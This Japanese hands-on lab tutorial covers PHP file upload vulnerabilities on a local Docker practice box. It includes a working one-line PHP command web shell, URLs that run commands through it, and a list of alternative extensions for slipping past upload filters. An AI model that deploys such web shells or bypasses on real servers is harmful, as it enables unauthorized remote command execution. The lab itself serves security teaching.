はじめに
この実験(Lab)では、Web アプリケーションにおける一般的なセキュリティ上の問題である、ファイルアップロードの脆弱性に焦点を当てます。これらの脆弱性を特定する方法、潜在的な影響を理解し、それらを悪用する方法を学びます。この実験(Lab)では、実践的な例を用いたハンズオン形式で、Web アプリケーションのセキュリティ概念と防御策をより深く理解することができます。
ファイルアップロード脆弱性の理解
ファイルアップロードの脆弱性は、Web アプリケーションがアップロードされたファイルを適切に検証しない場合に発生します。これにより、攻撃者が悪意のあるファイルをアップロードし、サーバー上でリモートコード実行(remote code execution)を引き起こす可能性があります。
PHP で move_uploaded_file() 関数を使用した、一般的なファイルアップロードの実装を見てみましょう。
<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);
パラメータ:
$file: 移動するアップロードされたファイル$newloc: ファイルの移動先パス
安全な実装には、次の例に示すように、適切な検証が含まれている必要があります。
<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Get the file extension
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Less than 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
このコードは、いくつかの重要なセキュリティチェックを示しています。
- ファイル拡張子の検証
- MIME タイプ(MIME type)の検証
- ファイルサイズの制限
- エラー処理
これらの検証がない場合、攻撃者はサーバー上で実行される可能性のある悪意のあるファイルをアップロードする可能性があります。
サーバーサイド言語の特定
ファイルアップロードの脆弱性を悪用する前に、Web アプリケーションで使用されているサーバーサイド言語を特定することが重要です。この情報によって、悪用を成功させるためにアップロードするファイルの種類が決まります。
まず、実験(Lab)環境をセットアップしましょう。
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
このコマンドを実行した後、http://localhost:82 で環境にアクセスできることを確認してください。
サーバーサイド言語を特定する方法:
URL のファイル拡張子:
.php拡張子は PHP を示します.aspまたは.aspx拡張子は ASP.NET を示します.jsp拡張子は Java Server Pages(JSP)を示します
サーバーヘッダー:
- Microsoft IIS は通常 ASP.NET を実行します
- Apache または Nginx は一般的に PHP を実行します
- Apache Tomcat は JSP を実行します
Wappalyzer ブラウザ拡張機能を使用すると、Web サーバーとプログラミング言語を自動的に検出できます。
実験(Lab)環境では、次のようになっているはずです。
Web Server: Apache
Backend Language: PHP
Web シェルをアップロードする
PHP がサーバーサイド言語であると特定できたので、PHP Web シェルをアップロードして、サーバー上でコマンドを実行します。
Web シェルのコレクションは、こちらにあります。
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
/home/labex/projectディレクトリにテストファイルphpinfo.phpを作成します。
<?php phpinfo(); ?>
ファイルをアップロードします。
- http://localhost:82/upload/example1.php にアクセスします
- phpinfo.php ファイルを選択してアップロードします
アップロードを確認します。
- http://localhost:82/upload/images/phpinfo.php にアクセスします
- PHP の設定情報ページが表示されるはずです
コマンド実行シェル
shell.phpを作成します。
<?php echo "Shell"; system($_GET['cmd']); ?>
シェルをアップロードしてテストします。
- 同じ方法で shell.php をアップロードします
- http://localhost:82/upload/images/shell.php にアクセスします
- 警告メッセージが表示される場合があります(パラメータがない場合は想定どおりです)
コマンドを実行します。
現在のユーザーを確認します:http://localhost:82/upload/images/shell.php?cmd=whoami 期待される出力:www-data
ファイルとシステム情報をリスト表示します:http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a 期待される出力:ディレクトリリストとシステム情報
注:この実験(Lab)では、基本的な Web シェルの機能を示します。リバースシェル(reverse shell)や権限昇格(privilege escalation)などの高度なトピックは、より高度なコースで取り上げられます。
サーバー制限の回避 (オプション)
一部の Web アプリケーションでは、悪意のあるファイルのアップロードを防ぐために、ファイル拡張子の制限を実装しています。このセクションでは、これらの制限を回避する方法について説明します。
.php 拡張子がブロックされている場合は、実行可能である可能性のある代替の PHP 拡張子を試してください。
.php3拡張子でアップロードを試みます。- http://localhost:82/upload/example2.php にアクセスします
- phpinfo.php3 をアップロードします
- http://localhost:82/upload/images/phpinfo.php3 にアクセスします
成功しない場合は、
.phar拡張子を試します。- phpinfo.phar をアップロードします
- http://localhost:82/upload/images/phpinfo.phar にアクセスします
試す一般的なバイパス拡張子:
- .php3
- .php4
- .php5
- .phar
- .phtml
注:成功するかどうかは、サーバーの構成によって異なります。サーバーが異なると、PHP コードとして実行できる拡張子も異なる場合があります。
まとめ
この実験(Lab)では、ファイルアップロードの脆弱性の重要な側面を取り上げました。
主な概念:
- ファイルアップロードの脆弱性メカニズムの理解
- サーバーサイドプログラミング言語の特定
- Web シェル(Web Shell)のアップロードと実行
- ファイル拡張子の制限の回避
習得した技術スキル:
- サーバーサイド言語の検出
- Web シェルの作成とデプロイメント(deployment)
- アップロードされたファイルによるコマンド実行
- 拡張子バイパス(bypass)テクニック
セキュリティへの影響:
- 不十分なファイル検証の影響
- 適切なアップロード制限の重要性
- サーバーサイド実行のリスク
この基礎知識は、後続のコースで取り上げる高度な Web アプリケーションセキュリティのトピックに備えるのに役立ちます。



